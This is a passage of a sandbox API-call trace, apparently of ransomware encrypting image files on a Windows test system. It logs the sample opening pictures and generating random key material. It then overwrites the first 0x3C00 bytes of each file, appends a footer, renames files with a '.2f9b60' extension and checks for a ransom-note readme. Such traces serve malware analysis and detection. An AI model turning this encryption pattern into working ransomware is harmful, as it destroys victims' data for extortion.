ftLastAccessTime.dwHighDateTime=0x1d5daff, ftLastWriteTime.dwLowDateTime=0x2c42ab20, ftLastWriteTime.dwHighDateTime=0x1d5daff, nFileSizeHigh=0x0, nFileSizeLow=0x137b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BFD-i74m_3aql.jpg", cAlternateFileName="BFD-I7~1.JPG")) returned 1 [0148.923] wcscmp (_String1="BFD-i74m_3aql.jpg", _String2=".") returned 1 [0148.924] wcscmp (_String1="BFD-i74m_3aql.jpg", _String2="..") returned 1 [0148.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x107600 [0148.924] wcscpy (in: _Dest=0x107600, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N" [0148.924] wcscat (in: _Dest=0x107600, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\" [0148.924] wcscat (in: _Dest=0x107600, _Source="BFD-i74m_3aql.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\BFD-i74m_3aql.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\BFD-i74m_3aql.jpg" [0151.156] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x107600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2408 [0151.157] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7e59b0, ftCreationTime.dwHighDateTime=0x1d5e7eb, ftLastAccessTime.dwLowDateTime=0x1842bb30, ftLastAccessTime.dwHighDateTime=0x1d5d8be, ftLastWriteTime.dwLowDateTime=0x1842bb30, ftLastWriteTime.dwHighDateTime=0x1d5d8be, nFileSizeHigh=0x0, nFileSizeLow=0x88a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mwP259KVSO.gif", cAlternateFileName="MWP259~1.GIF")) returned 1 [0151.157] wcscmp (_String1="mwP259KVSO.gif", _String2=".") returned 1 [0151.157] wcscmp (_String1="mwP259KVSO.gif", _String2="..") returned 1 [0151.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1cd642c0 [0151.157] wcscpy (in: _Dest=0x1cd642c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N" [0151.157] wcscat (in: _Dest=0x1cd642c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\" [0151.157] wcscat (in: _Dest=0x1cd642c0, _Source="mwP259KVSO.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\mwP259KVSO.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\mwP259KVSO.gif" [0151.157] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd642c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x240c [0151.158] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7e59b0, ftCreationTime.dwHighDateTime=0x1d5e7eb, ftLastAccessTime.dwLowDateTime=0x1842bb30, ftLastAccessTime.dwHighDateTime=0x1d5d8be, ftLastWriteTime.dwLowDateTime=0x1842bb30, ftLastWriteTime.dwHighDateTime=0x1d5d8be, nFileSizeHigh=0x0, nFileSizeLow=0x88a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mwP259KVSO.gif", cAlternateFileName="MWP259~1.GIF")) returned 0 [0151.158] FindClose (in: hFindFile=0x1cd9d730 | out: hFindFile=0x1cd9d730) returned 1 [0151.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1dd20) returned 1 [0151.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cbf0) returned 1 [0151.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1e10) returned 1 Thread: id = 2309 os_tid = 0x1c78 [0148.933] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\jnmY0ZpbN1peQKLtta4.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\umfg\\jnmy0zpbn1peqkltta4.jpg")) returned 0x20 [0148.933] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\jnmY0ZpbN1peQKLtta4.jpg", dwFileAttributes=0x20) returned 1 [0148.934] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\jnmY0ZpbN1peQKLtta4.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\umfg\\jnmy0zpbn1peqkltta4.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e1c [0148.935] GetFileSizeEx (in: hFile=0x1e1c, lpFileSize=0x1d2bf860 | out: lpFileSize=0x1d2bf860*=33053) returned 1 [0148.935] SetFilePointerEx (in: hFile=0x1e1c, liDistanceToMove=0x8119, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.935] ReadFile (in: hFile=0x1e1c, lpBuffer=0x1d2bf7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d2bf828, lpOverlapped=0x0 | out: lpBuffer=0x1d2bf7e0*, lpNumberOfBytesRead=0x1d2bf828*=0x4, lpOverlapped=0x0) returned 1 [0148.936] SetFilePointerEx (in: hFile=0x1e1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202648c0 [0148.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202676b0 [0148.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202678c0 [0148.937] NtQuerySystemTime (in: CurrentTime=0x1d2bf720 | out: CurrentTime=0x1d2bf720*=132462177541666000) returned 0x0 [0148.937] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0x2af657ed [0148.937] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0x1dd70a29 [0148.937] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0x54b83372 [0148.937] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0x3992c669 [0148.937] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0xaf7596c [0148.937] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0x394cc855 [0148.937] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0x671fc2f9 [0148.937] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0x50b6ef60 [0148.937] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0x17bce0af [0148.937] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0x5b202c64 [0148.937] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0x1c236868 [0148.937] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0xc682e67 [0148.937] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0x68d0db60 [0148.938] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0x79646b6 [0148.938] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0xdc538f6 [0148.938] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0x4b061168 [0148.938] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0x52d9021 [0148.938] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0x1e22a9a5 [0148.938] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0x181849ea [0148.938] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0x504552da [0148.938] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0x6df67f45 [0148.938] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0x2046c43f [0148.938] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0x55a57561 [0148.938] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0x18811cfb [0148.938] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0x16577953 [0148.938] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0x76442226 [0148.938] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0x461d45dd [0148.938] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0x725c2de3 [0148.938] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0x5942d869 [0148.938] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0x2e3b3d3f [0148.938] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0x7eb26497 [0148.938] RtlRandomEx (in: Seed=0x1d2bf710 | out: Seed=0x1d2bf710) returned 0x821fe76 [0148.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202679e0 [0148.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0148.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7790 [0148.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0148.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202678c0) returned 1 [0148.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202648c0) returned 1 [0148.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f71d40 [0148.952] SetFilePointerEx (in: hFile=0x1e1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.952] ReadFile (in: hFile=0x1e1c, lpBuffer=0x41f71d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d2bf780, lpOverlapped=0x0 | out: lpBuffer=0x41f71d40*, lpNumberOfBytesRead=0x1d2bf780*=0x3c00, lpOverlapped=0x0) returned 1 [0148.953] SetFilePointerEx (in: hFile=0x1e1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0148.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0148.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202648c0 [0148.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202648c0) returned 1 [0148.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20122d00 [0148.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202648c0 [0148.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202678c0 [0148.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202678c0) returned 1 [0148.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0148.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0148.955] WriteFile (in: hFile=0x1e1c, lpBuffer=0x20122d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d2bf780, lpOverlapped=0x0 | out: lpBuffer=0x20122d00*, lpNumberOfBytesWritten=0x1d2bf780*=0x3c00, lpOverlapped=0x0) returned 1 [0161.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20122d00) returned 1 [0161.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f71d40) returned 1 [0161.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1ce192c0 [0161.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19270 [0161.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6620 [0161.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4760 [0161.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4760) returned 1 [0161.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1ce191d0 [0161.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4760 [0161.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4790 [0161.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4790) returned 1 [0161.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6620) returned 1 [0161.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19270) returned 1 [0161.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x120) returned 0x1b82f830 [0161.496] SetFilePointerEx (in: hFile=0x1e1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.496] WriteFile (in: hFile=0x1e1c, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x1d2bf830, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x1d2bf830*=0x120, lpOverlapped=0x0) returned 1 [0163.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f830) returned 1 [0163.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4760) returned 1 [0163.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce192c0) returned 1 [0163.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202648c0) returned 1 [0163.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202676b0) returned 1 [0163.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202679e0) returned 1 [0163.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7790) returned 1 [0163.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x1ce220e0 [0163.286] wcscpy (in: _Dest=0x1ce220e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\jnmY0ZpbN1peQKLtta4.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\jnmY0ZpbN1peQKLtta4.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\jnmY0ZpbN1peQKLtta4.jpg" [0163.286] wcscat (in: _Dest=0x1ce220e0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\jnmY0ZpbN1peQKLtta4.jpg.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\jnmY0ZpbN1peQKLtta4.jpg.2f9b60" [0163.286] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\jnmY0ZpbN1peQKLtta4.jpg.2f9b60", NtPathName=0x1d2bf850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\jnmY0ZpbN1peQKLtta4.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd4) returned 0x1cecf6a0 [0204.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecf6a0) returned 1 [0204.027] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c27440) returned 1 [0204.027] NtQueryInformationFile (in: FileHandle=0x1e1c, IoStatusBlock=0x1d2bf8b8, FileInformation=0x1d2bf8c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1d2bf8b8, FileInformation=0x1d2bf8c8) returned 0x0 [0204.027] NtSetInformationFile (FileHandle=0x1e1c, IoStatusBlock=0x1d2bf8b8, FileInformation=0x1d2bf8c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce220e0) returned 1 [0209.452] FlushFileBuffers (hFile=0x1e1c) returned 1 [0209.473] CloseHandle (hObject=0x1e1c) returned 1 [0216.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce17bb0 [0216.470] wcscpy (in: _Dest=0x1ce17bb0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\" [0216.470] wcscat (in: _Dest=0x1ce17bb0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\2F9B60-Readme.txt" [0216.470] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\umfg\\2f9b60-readme.txt")) returned 0x20 [0220.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce17bb0) returned 1 [0220.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861800) returned 1 Thread: id = 2310 os_tid = 0x1c7c [0148.959] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\o2zC-.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\umfg\\o2zc-.jpg")) returned 0x20 [0148.959] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\o2zC-.jpg", dwFileAttributes=0x20) returned 1 [0148.960] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\o2zC-.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\umfg\\o2zc-.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e14 [0148.960] GetFileSizeEx (in: hFile=0x1e14, lpFileSize=0x1d8cf840 | out: lpFileSize=0x1d8cf840*=45437) returned 1 [0148.961] SetFilePointerEx (in: hFile=0x1e14, liDistanceToMove=0xb179, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.961] ReadFile (in: hFile=0x1e14, lpBuffer=0x1d8cf7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d8cf808, lpOverlapped=0x0 | out: lpBuffer=0x1d8cf7c0*, lpNumberOfBytesRead=0x1d8cf808*=0x4, lpOverlapped=0x0) returned 1 [0148.962] SetFilePointerEx (in: hFile=0x1e14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202678c0 [0148.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77c0 [0148.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7940 [0148.962] NtQuerySystemTime (in: CurrentTime=0x1d8cf700 | out: CurrentTime=0x1d8cf700*=132462177541822000) returned 0x0 [0148.962] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x576d2440 [0148.962] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x4a746c99 [0148.962] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x6ac591ef [0148.963] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x7e0d6817 [0148.963] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0xe4b6c2d [0148.963] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x43fca13e [0148.963] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x2f9882d [0148.963] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x7d2c8acd [0148.963] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0xb0c61b4 [0148.963] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x72c64103 [0148.963] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x7ad8ac21 [0148.963] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x4d63784a [0148.963] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x3628bf51 [0148.963] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x2c4170a5 [0148.963] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x54b1c0cd [0148.963] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x4823912d [0148.963] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x4a14bc28 [0148.964] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x609edad4 [0148.964] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x779e3a6 [0148.964] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x2012a40 [0148.964] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x29fa0264 [0148.964] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x9797d01 [0148.964] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x4c4a811c [0148.964] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x2884d482 [0148.964] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x7a39def6 [0148.964] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x26a90e9a [0148.964] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x2c7584b [0148.964] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x22c2ebc1 [0148.964] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x4a8ac4e9 [0148.964] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x6bd418e0 [0148.964] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x6246c9fa [0148.964] RtlRandomEx (in: Seed=0x1d8cf6f0 | out: Seed=0x1d8cf6f0) returned 0x7c8523a1 [0148.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7730 [0148.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0148.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7700 [0148.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0148.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7940) returned 1 [0148.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202678c0) returned 1 [0148.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20139560 [0148.984] SetFilePointerEx (in: hFile=0x1e14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.984] ReadFile (in: hFile=0x1e14, lpBuffer=0x20139560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d8cf760, lpOverlapped=0x0 | out: lpBuffer=0x20139560*, lpNumberOfBytesRead=0x1d8cf760*=0x3c00, lpOverlapped=0x0) returned 1 [0148.984] SetFilePointerEx (in: hFile=0x1e14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0148.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0148.984] 